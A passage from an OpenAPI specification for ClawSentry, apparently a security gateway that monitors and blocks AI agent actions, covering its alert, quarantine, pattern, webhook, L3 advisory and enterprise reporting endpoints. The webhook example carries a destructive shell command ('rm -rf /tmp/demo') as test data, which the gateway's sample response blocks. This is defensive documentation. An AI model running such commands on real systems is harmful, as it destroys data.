"limit", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "maximum": 1000, "default": 100 } }, { "name": "cursor", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 0 } }, { "name": "window_seconds", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "maximum": 604800 } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "session_id": "sess-001", "records": [], "next_cursor": null, "has_more": false } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4494", "x-clawsentry-markdown-ref": "api/reporting.md#get-report-session-page", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth.", "security": [ { "BearerAuth": [] } ] } }, "/report/alerts": { "get": { "tags": [ "告警与处置" ], "summary": "告警列表", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. See `api/reporting.md#get-report-alerts`.", "parameters": [ { "name": "window_seconds", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "maximum": 604800 } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "alerts": [ { "alert_id": "alert-001", "severity": "high", "status": "open", "session_id": "sess-001" } ] } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4558", "x-clawsentry-markdown-ref": "api/reporting.md#get-report-alerts", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth.", "security": [ { "BearerAuth": [] } ] } }, "/report/alerts/{alert_id}/acknowledge": { "post": { "tags": [ "告警与处置" ], "summary": "确认告警", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. See `api/reporting.md#post-report-alerts-acknowledge`.", "parameters": [ { "name": "alert_id", "in": "path", "required": true, "schema": { "type": "string" } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "alert_id": "alert-001", "status": "acknowledged" } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4641", "x-clawsentry-markdown-ref": "api/reporting.md#post-report-alerts-acknowledge", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth.", "requestBody": { "required": true, "content": { "application/json": { "example": { "operator": "secops@example.com", "note": "Reviewed and assigned." } } } }, "security": [ { "BearerAuth": [] } ] } }, "/report/session/{session_id}/enforcement": { "get": { "tags": [ "告警与处置" ], "summary": "查询会话强制状态", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. See `api/reporting.md#get-report-session-enforcement`.", "parameters": [ { "name": "session_id", "in": "path", "required": true, "schema": { "type": "string" } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "session_id": "sess-001", "enforced": false, "reason": null } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4665", "x-clawsentry-markdown-ref": "api/reporting.md#get-report-session-enforcement", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth.", "security": [ { "BearerAuth": [] } ] }, "post": { "tags": [ "告警与处置" ], "summary": "释放会话强制状态", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. See `api/reporting.md#post-report-session-enforcement`.", "parameters": [ { "name": "session_id", "in": "path", "required": true, "schema": { "type": "string" } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "session_id": "sess-001", "enforced": false, "reason": null } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4672", "x-clawsentry-markdown-ref": "api/reporting.md#post-report-session-enforcement", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth.", "requestBody": { "required": true, "content": { "application/json": { "example": { "action": "release", "reason": "Operator cleared the session hold." } } } }, "security": [ { "BearerAuth": [] } ] } }, "/report/session/{session_id}/quarantine": { "get": { "tags": [ "告警与处置" ], "summary": "查询 session quarantine / mark-blocked 状态", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. Quarantine is explicit session mark-blocked state, not guaranteed host termination. See `api/reporting.md#get-report-session-quarantine`.", "parameters": [ { "name": "session_id", "in": "path", "required": true, "schema": { "type": "string" } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "status": "ok", "data": {} } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4709", "x-clawsentry-markdown-ref": "api/reporting.md#get-report-session-quarantine", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth. Quarantine is explicit session mark-blocked state, not guaranteed host termination.", "security": [ { "BearerAuth": [] } ] }, "post": { "tags": [ "告警与处置" ], "summary": "释放 session quarantine / mark-blocked 状态", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. Release is explicit and audited separately from legacy enforcement cooldown. See `api/reporting.md#post-report-session-quarantine`.", "parameters": [ { "name": "session_id", "in": "path", "required": true, "schema": { "type": "string" } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "status": "ok", "data": {} } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4719", "x-clawsentry-markdown-ref": "api/reporting.md#post-report-session-quarantine", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth. Release is explicit and audited separately from legacy enforcement cooldown.", "requestBody": { "required": true, "content": { "application/json": { "example": { "request_id": "docs-example", "payload": { "example": true } } } } }, "security": [ { "BearerAuth": [] } ] } }, "/ahp/patterns": { "get": { "tags": [ "规则与模式" ], "summary": "查看自进化模式", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. See `api/reporting.md#get-ahp-patterns`.", "parameters": [], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "patterns": [ { "id": "credential-upload", "status": "active" } ] } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4764", "x-clawsentry-markdown-ref": "api/reporting.md#get-ahp-patterns", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth.", "security": [ { "BearerAuth": [] } ] } }, "/ahp/patterns/confirm": { "post": { "tags": [ "规则与模式" ], "summary": "确认候选模式", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. See `api/reporting.md#post-ahp-patterns-confirm`.", "parameters": [], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "pattern_id": "candidate-001", "status": "confirmed" } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4778", "x-clawsentry-markdown-ref": "api/reporting.md#post-ahp-patterns-confirm", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth.", "requestBody": { "required": true, "content": { "application/json": { "example": { "pattern_id": "candidate-001", "decision": "confirm" } } } }, "security": [ { "BearerAuth": [] } ] } }, "/webhook/openclaw": { "post": { "tags": [ "Webhook" ], "summary": "OpenClaw Webhook 事件接收", "description": "Service: `openclaw-webhook`. Auth: `webhook-token|webhook-hmac-optional`. Bearer/OpenClaw token required. HMAC is config-dependent: skipped when no secret is configured; strict mode rejects missing/invalid signatures when secret exists. Timestamp, content-type, optional IP allowlist, and idempotencyKey are validated. See `api/webhooks.md#post-webhook-openclaw`.", "parameters": [ { "name": "Authorization", "in": "header", "required": true, "schema": { "type": "string" }, "description": "Bearer " }, { "name": "X-AHP-Signature", "in": "header", "required": false, "schema": { "type": "string" }, "description": "v1=, required in strict mode when OPENCLAW_WEBHOOK_SECRET is configured" }, { "name": "X-AHP-Timestamp", "in": "header", "required": false, "schema": { "type": "string" }, "description": "Unix timestamp used for signed webhook replay protection" }, { "name": "Content-Type", "in": "header", "required": true, "schema": { "type": "string", "enum": [ "application/json" ] } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "decision": "block", "reason": "destructive command pattern detected", "risk_level": "high", "failure_class": "none", "final": true } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "403": { "description": "Error 403" }, "409": { "description": "Error 409" }, "413": { "description": "Error 413" }, "415": { "description": "Error 415" }, "422": { "description": "Error 422" }, "500": { "description": "Error 500" } }, "x-clawsentry-source": "src/clawsentry/adapters/openclaw_webhook_receiver.py:45", "x-clawsentry-markdown-ref": "api/webhooks.md#post-webhook-openclaw", "x-clawsentry-auth-note": "Bearer/OpenClaw token required. HMAC is config-dependent: skipped when no secret is configured; strict mode rejects missing/invalid signatures when secret exists. Timestamp, content-type, optional IP allowlist, and idempotencyKey are validated.", "requestBody": { "required": true, "content": { "application/json": { "example": { "type": "exec.approval.requested", "idempotencyKey": "openclaw-demo-001", "sessionKey": "sess-001", "agentId": "agent-001", "payload": { "command": "rm -rf /tmp/demo", "approval_id": "apr-001" } } } } }, "security": [ { "BearerAuth": [] } ] } }, "/report/session/{session_id}/l3-advisory/snapshots": { "post": { "tags": [ "L3 Advisory" ], "summary": "创建 L3 evidence snapshot", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions. See `api/reporting.md#l3-advisory-endpoints`.", "parameters": [ { "name": "session_id", "in": "path", "required": true, "schema": { "type": "string" } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "advisory_only": true, "canonical_decision_mutated": false, "snapshot_id": "l3snap-001", "job_id": "l3job-001", "review_id": "l3adv-001", "l3_state": "completed" } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4034", "x-clawsentry-markdown-ref": "api/reporting.md#l3-advisory-endpoints", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions.", "requestBody": { "required": true, "content": { "application/json": { "example": { "session_id": "sess-001", "runner": "llm_provider", "queue_only": false } } } }, "security": [ { "BearerAuth": [] } ] }, "get": { "tags": [ "L3 Advisory" ], "summary": "列出 L3 evidence snapshots", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions. See `api/reporting.md#l3-advisory-endpoints`.", "parameters": [ { "name": "session_id", "in": "path", "required": true, "schema": { "type": "string" } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "advisory_only": true, "canonical_decision_mutated": false, "snapshot_id": "l3snap-001", "job_id": "l3job-001", "review_id": "l3adv-001", "l3_state": "completed" } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4074", "x-clawsentry-markdown-ref": "api/reporting.md#l3-advisory-endpoints", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions.", "security": [ { "BearerAuth": [] } ] } }, "/report/l3-advisory/snapshot/{snapshot_id}": { "get": { "tags": [ "L3 Advisory" ], "summary": "读取 L3 snapshot 与冻结记录", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions. See `api/reporting.md#l3-advisory-endpoints`.", "parameters": [ { "name": "snapshot_id", "in": "path", "required": true, "schema": { "type": "string" } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "advisory_only": true, "canonical_decision_mutated": false, "snapshot_id": "l3snap-001", "job_id": "l3job-001", "review_id": "l3adv-001", "l3_state": "completed" } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4087", "x-clawsentry-markdown-ref": "api/reporting.md#l3-advisory-endpoints", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions.", "security": [ { "BearerAuth": [] } ] } }, "/report/l3-advisory/jobs": { "get": { "tags": [ "L3 Advisory" ], "summary": "列出 L3 advisory jobs", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions. See `api/reporting.md#l3-advisory-endpoints`.", "parameters": [], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "advisory_only": true, "canonical_decision_mutated": false, "snapshot_id": "l3snap-001", "job_id": "l3job-001", "review_id": "l3adv-001", "l3_state": "completed" } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4107", "x-clawsentry-markdown-ref": "api/reporting.md#l3-advisory-endpoints", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions.", "security": [ { "BearerAuth": [] } ] } }, "/report/l3-advisory/jobs/run-next": { "post": { "tags": [ "L3 Advisory" ], "summary": "运行最旧的 queued L3 advisory job", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions. See `api/reporting.md#l3-advisory-endpoints`.", "parameters": [], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "advisory_only": true, "canonical_decision_mutated": false, "snapshot_id": "l3snap-001", "job_id": "l3job-001", "review_id": "l3adv-001", "l3_state": "completed" } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4130", "x-clawsentry-markdown-ref": "api/reporting.md#l3-advisory-endpoints", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions.", "requestBody": { "required": true, "content": { "application/json": { "example": { "session_id": "sess-001", "runner": "llm_provider", "queue_only": false } } } }, "security": [ { "BearerAuth": [] } ] } }, "/report/l3-advisory/jobs/drain": { "post": { "tags": [ "L3 Advisory" ], "summary": "有界运行 queued L3 advisory jobs", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions. See `api/reporting.md#l3-advisory-endpoints`.", "parameters": [], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "advisory_only": true, "canonical_decision_mutated": false, "snapshot_id": "l3snap-001", "job_id": "l3job-001", "review_id": "l3adv-001", "l3_state": "completed" } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4157", "x-clawsentry-markdown-ref": "api/reporting.md#l3-advisory-endpoints", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions.", "requestBody": { "required": true, "content": { "application/json": { "example": { "session_id": "sess-001", "runner": "llm_provider", "queue_only": false } } } }, "security": [ { "BearerAuth": [] } ] } }, "/report/l3-advisory/snapshot/{snapshot_id}/jobs": { "post": { "tags": [ "L3 Advisory" ], "summary": "创建 L3 advisory job", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions. See `api/reporting.md#l3-advisory-endpoints`.", "parameters": [ { "name": "snapshot_id", "in": "path", "required": true, "schema": { "type": "string" } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "advisory_only": true, "canonical_decision_mutated": false, "snapshot_id": "l3snap-001", "job_id": "l3job-001", "review_id": "l3adv-001", "l3_state": "completed" } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4185", "x-clawsentry-markdown-ref": "api/reporting.md#l3-advisory-endpoints", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions.", "requestBody": { "required": true, "content": { "application/json": { "example": { "session_id": "sess-001", "runner": "llm_provider", "queue_only": false } } } }, "security": [ { "BearerAuth": [] } ] } }, "/report/l3-advisory/reviews": { "post": { "tags": [ "L3 Advisory" ], "summary": "写入 L3 advisory review", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions. See `api/reporting.md#l3-advisory-endpoints`.", "parameters": [], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "advisory_only": true, "canonical_decision_mutated": false, "snapshot_id": "l3snap-001", "job_id": "l3job-001", "review_id": "l3adv-001", "l3_state": "completed" } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4208", "x-clawsentry-markdown-ref": "api/reporting.md#l3-advisory-endpoints", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions.", "requestBody": { "required": true, "content": { "application/json": { "example": { "session_id": "sess-001", "runner": "llm_provider", "queue_only": false } } } }, "security": [ { "BearerAuth": [] } ] } }, "/report/l3-advisory/review/{review_id}": { "patch": { "tags": [ "L3 Advisory" ], "summary": "更新 L3 advisory review", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions. See `api/reporting.md#l3-advisory-endpoints`.", "parameters": [ { "name": "review_id", "in": "path", "required": true, "schema": { "type": "string" } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "advisory_only": true, "canonical_decision_mutated": false, "snapshot_id": "l3snap-001", "job_id": "l3job-001", "review_id": "l3adv-001", "l3_state": "completed" } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4257", "x-clawsentry-markdown-ref": "api/reporting.md#l3-advisory-endpoints", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions.", "requestBody": { "required": true, "content": { "application/json": { "example": { "session_id": "sess-001", "runner": "llm_provider", "queue_only": false } } } }, "security": [ { "BearerAuth": [] } ] } }, "/report/l3-advisory/snapshot/{snapshot_id}/run-local-review": { "post": { "tags": [ "L3 Advisory" ], "summary": "立即运行本地 L3 review", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions. See `api/reporting.md#l3-advisory-endpoints`.", "parameters": [ { "name": "snapshot_id", "in": "path", "required": true, "schema": { "type": "string" } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "advisory_only": true, "canonical_decision_mutated": false, "snapshot_id": "l3snap-001", "job_id": "l3job-001", "review_id": "l3adv-001", "l3_state": "completed" } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4314", "x-clawsentry-markdown-ref": "api/reporting.md#l3-advisory-endpoints", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions.", "requestBody": { "required": true, "content": { "application/json": { "example": { "session_id": "sess-001", "runner": "llm_provider", "queue_only": false } } } }, "security": [ { "BearerAuth": [] } ] } }, "/report/l3-advisory/job/{job_id}/run-local": { "post": { "tags": [ "L3 Advisory" ], "summary": "运行本地 L3 job", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions. See `api/reporting.md#l3-advisory-endpoints`.", "parameters": [ { "name": "job_id", "in": "path", "required": true, "schema": { "type": "string" } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "advisory_only": true, "canonical_decision_mutated": false, "snapshot_id": "l3snap-001", "job_id": "l3job-001", "review_id": "l3adv-001", "l3_state": "completed" } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4333", "x-clawsentry-markdown-ref": "api/reporting.md#l3-advisory-endpoints", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions.", "requestBody": { "required": true, "content": { "application/json": { "example": { "session_id": "sess-001", "runner": "llm_provider", "queue_only": false } } } }, "security": [ { "BearerAuth": [] } ] } }, "/report/l3-advisory/job/{job_id}/run-worker": { "post": { "tags": [ "L3 Advisory" ], "summary": "运行 L3 worker job", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions. See `api/reporting.md#l3-advisory-endpoints`.", "parameters": [ { "name": "job_id", "in": "path", "required": true, "schema": { "type": "string" } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "advisory_only": true, "canonical_decision_mutated": false, "snapshot_id": "l3snap-001", "job_id": "l3job-001", "review_id": "l3adv-001", "l3_state": "completed" } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4352", "x-clawsentry-markdown-ref": "api/reporting.md#l3-advisory-endpoints", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions.", "requestBody": { "required": true, "content": { "application/json": { "example": { "session_id": "sess-001", "runner": "llm_provider", "queue_only": false } } } }, "security": [ { "BearerAuth": [] } ] } }, "/report/session/{session_id}/l3-advisory/full-review": { "post": { "tags": [ "L3 Advisory" ], "summary": "对 session 发起 operator full review", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions. See `api/reporting.md#l3-advisory-endpoints`.", "parameters": [ { "name": "session_id", "in": "path", "required": true, "schema": { "type": "string" } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "advisory_only": true, "canonical_decision_mutated": false, "snapshot_id": "l3snap-001", "job_id": "l3job-001", "review_id": "l3adv-001", "l3_state": "completed" } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4377", "x-clawsentry-markdown-ref": "api/reporting.md#l3-advisory-endpoints", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth. L3 advisory is advisory-only and does not mutate historical canonical decisions.", "requestBody": { "required": true, "content": { "application/json": { "example": { "session_id": "sess-001", "runner": "llm_provider", "queue_only": false } } } }, "security": [ { "BearerAuth": [] } ] } }, "/enterprise/health": { "get": { "tags": [ "Enterprise 条件端点" ], "summary": "Enterprise enriched health", "description": "Service: `gateway-enterprise`. Auth: `bearer-disabled-when-empty-token`. Registered only when enterprise mode is enabled; CS_AUTH_TOKEN empty disables Gateway bearer auth. See `api/reporting.md#enterprise-endpoints`.", "parameters": [], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "status": "ok", "data": {} } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:3716", "x-clawsentry-markdown-ref": "api/reporting.md#enterprise-endpoints", "x-clawsentry-auth-note": "Registered only when enterprise mode is enabled; CS_AUTH_TOKEN empty disables Gateway bearer auth.", "security": [ { "BearerAuth": [] } ] } }, "/enterprise/report/summary": { "get": { "tags": [ "Enterprise 条件端点" ], "summary": "Enterprise enriched summary", "description": "Service: `gateway-enterprise`. Auth: `bearer-disabled-when-empty-token`. Registered only when enterprise mode is enabled; CS_AUTH_TOKEN empty disables Gateway bearer auth. See `api/reporting.md#enterprise-endpoints`.", "parameters": [ { "name": "window_seconds", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "maximum": 604800 } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "total_records": 1250, "by_source_framework": { "a3s-code": 800, "codex": 450 }, "by_risk_level": { "low": 800, "medium": 300, "high": 120, "critical": 30 }, "by_actual_tier": { "L1": 1100, "L2": 120, "L3": 30 }, "trinityguard": { "total_records": 1250, "mapped_records": 180, "unmapped_records": 1070, "by_tier": { "RT1": 120, "RT2": 40, "RT3": 20 }, "by_subtype": { "prompt_injection": 45, "sensitive_info_disclosure": 35, "unauthorized_code_execution": 25, "insecure_output_handling": 20, "cascading_failure": 12 } }, "enterprise": { "live_risk_overview": { "active_sessions": 18, "mapped_active_sessions": 6, "by_trinityguard_tier": { "RT1": 4, "RT2": 1, "RT3": 1 }, "by_trinityguard_subtype": { "prompt_injection": 2, "sensitive_info_disclosure": 1, "tool_misuse": 1, "insecure_output_handling": 1, "cascading_failure": 1 }, "system_security_posture": { "score_0_100": 72.5, "level": "elevated", "decision_affecting": false } } }, "generated_at": "2026-04-25T12:00:05Z", "window_seconds": 3600 } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:3751", "x-clawsentry-markdown-ref": "api/reporting.md#enterprise-endpoints", "x-clawsentry-auth-note": "Registered only when enterprise mode is enabled; CS_AUTH_TOKEN empty disables Gateway bearer auth.", "security": [ { "BearerAuth": [] } ] } }, "/enterprise/report/live": { "get": { "tags": [ "Enterprise 条件端点" ], "summary": "Enterprise live snapshot", "description": "Service: `gateway-enterprise`. Auth: `bearer-disabled-when-empty-token`. Registered only when enterprise mode is enabled; CS_AUTH_TOKEN empty disables Gateway bearer auth. See `api/reporting.md#enterprise-endpoints`.", "parameters": [ { "name": "cached", "in": "query", "required": false, "schema": { "type": "boolean", "default": false } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "generated_at": "2026-04-25T12:00:05Z", "active_sessions": 18, "high_risk_sessions": 3, "mapped_active_sessions": 6, "by_risk_level": { "low": 10, "medium": 5, "high": 2, "critical": 1 }, "by_trinityguard_tier": { "RT1": 4, "RT2": 1, "RT3": 1 }, "by_trinityguard_subtype": { "prompt_injection": 2, "sensitive_info_disclosure": 1, "tool_misuse": 1, "insecure_output_handling": 1, "cascading_failure": 1 }, "top_trinityguard_tiers": [ { "tier": "RT1", "count": 4 }, { "tier": "RT2", "count": 1 }, { "tier": "RT3", "count": 1 } ], "top_trinityguard_subtypes": [ { "subtype": "prompt_injection", "count": 2 }, { "subtype": "sensitive_info_disclosure", "count": 1 } ], "system_security_posture": { "score_0_100": 72.5, "level": "elevated", "drivers": [ { "key": "high_sessions", "label": "High-risk sessions", "value": 2 } ], "window_seconds": 3600, "decision_affecting": false }, "cache_ttl_ms": 1000, "stale": false, "degraded": false, "degraded_reason": null } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:3771", "x-clawsentry-markdown-ref": "api/reporting.md#enterprise-endpoints", "x-clawsentry-auth-note": "Registered only when enterprise mode is enabled; CS_AUTH_TOKEN empty disables Gateway bearer auth.", "security": [ { "BearerAuth": [] } ] } }, "/enterprise/report/stream": { "get": { "tags": [ "Enterprise 条件端点" ], "summary": "Enterprise SSE stream", "description": "Service: 